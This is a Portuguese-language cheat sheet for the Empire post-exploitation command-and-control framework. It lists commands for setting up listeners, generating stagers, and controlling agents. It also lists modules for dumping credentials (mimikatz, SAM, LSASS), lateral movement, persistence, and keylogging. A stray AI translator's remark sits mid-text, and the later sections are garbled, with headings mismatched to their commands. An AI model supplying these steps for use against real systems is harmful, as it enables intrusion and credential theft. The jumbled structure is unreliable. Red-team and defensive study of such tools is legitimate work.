Folha de Dicas do Empire Framework
Visão Geral
Empire é um framework de pós-exploração que inclui um agente Windows em PowerShell 2.0 puro e um agente Linux/macOS em Python 3 puro. Ele fornece uma infraestrutura de comando e controle (C2) poderosa para operações de red team, testes de penetração e emulação de adversários.
⚠️ Aviso: Empire é uma ferramenta de teste de segurança que deve ser usada apenas em ambientes onde você tem permissão explícita para fazê-lo.
Instalação
Do GitHub
# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
# Navigate to the directory
cd Empire
# Run the installation script
sudo ./setup/install.sh
Usando Docker
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
No Kali Linux
# Install from package manager
sudo apt update
sudo apt install powershell-empire
Uso Básico
Iniciando o Empire
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Usando Starkiller (Interface Gráfica)
# Install Starkiller
npm install -g @starkiller/starkiller
# Run Starkiller
starkiller
Navegação na CLI do Empire
| Comando | Descrição |
|---|---|
help | Exibir menu de ajuda |
menu | Voltar ao menu principal |
back | Voltar para o nível de menu anterior |
exit | Sair do Empire |
usemodule <module> | Selecione um módulo para usar |
usestager <stager> | Selecione um stager para usar |
uselistener <listener> | Selecione um listener para usar |
interact <agent> | Interagir com um agente |
searchmodule <term> | Procurar por módulos |
Listeners
Criando um Listener
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Opções Comuns de Listener
| Opção | Descrição |
|---|---|
Name | Nome para o ouvinte |
Host | IP/hostname para staging |
Port | Porta para o ouvinte |
CertPath | Caminho do certificado para HTTPS |
DefaultDelay | Atraso de retorno do agente (em segundos) |
DefaultJitter | Jitter em retornos de chamada de agente (0.0-1.0) |
DefaultProfile | Perfil de comunicação padrão |
KillDate | Data para o ouvinte sair (MM/DD/YYYY) |
WorkingHours | Horário para retorno do agente (09:00-17:00) |
Gerenciamento de Listeners
# List all listeners
listeners
# Kill a listener
kill http_listener
# View a listener's options
info http_listener
Stagers
Gerando um Stager
# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate
Tipos Comuns de Stager
| Stager | Descrição |
|---|---|
windows/launcher_bat | Iniciador de arquivo BAT |
windows/launcher_vbs | Lançador de script VBS |
windows/launcher_powershell | Launcher do PowerShell |
multi/launcher | Launcher multiplataforma |
osx/launcher | Launcher do macOS |
linux/launcher | Lançador Linux |
windows/dll | Lançador de DLL |
windows/macro | Iniciador de macro de escritório |
windows/hta | Launcher HTA |
Agentes
Comandos de Agente
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Gerenciamento de Agentes
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Módulos
Usando Módulos
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Categorias Comuns de Módulos
Acesso a Credenciais
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Consciência Situacional
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Movimento Lateral
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistência
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Recursos Avançados
Perfis C2 Maleáveis
I’ve translated the text while preserving the markdown formatting, keeping technical terms in English, and maintaining the overall structure. Would you like me to continue with the remaining sections?```
In Empire CLI
profiles use default set DefaultProfile /path/to/profile.profile
Set agent kill date
set KillDate 01/01/2025
Set working hours
set WorkingHours 09:00-17:00
Increase agent sleep time
sleep 300 30
Use keylogging module
usemodule powershell/collection/keylogger
Use clipboard monitoring
usemodule powershell/collection/clipboard_monitor
Use screenshot module
usemodule powershell/collection/screenshot
### Problemas Comuns
```bash
# Check if the listener is running
listeners
# Verify firewall settings
sudo iptables -L
# Check for port conflicts
netstat -tuln|grep <port>
```**Problemas de Conexão**
```bash
# Verify agent is running
agents
# Check for network connectivity issues
# Verify sleep/jitter settings
# Check module requirements
info
# Verify agent privileges
shell whoami
# Try running in a different process context
usemodule powershell/management/psinject
```**Agente Não Fazendo Check-In**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
https://github.com/BC-SECURITY/Empire Falhas na Execução de Módulos https://bc-security.gitbook.io/empire-wiki/#
Medidas Defensivas
Métodos de Detecção
- Registro de Bloco de Script do PowerShell
- Registro de Módulo do PowerShell
- AMSI (Interface de Varredura de Antimalware)
- Análise de tráfego de rede
- Análise comportamental
Técnicas de Prevenção
https://github.com/BC-SECURITY/Starkiller
Recursos
- GitHub da BC Security
- [Wiki do Empire](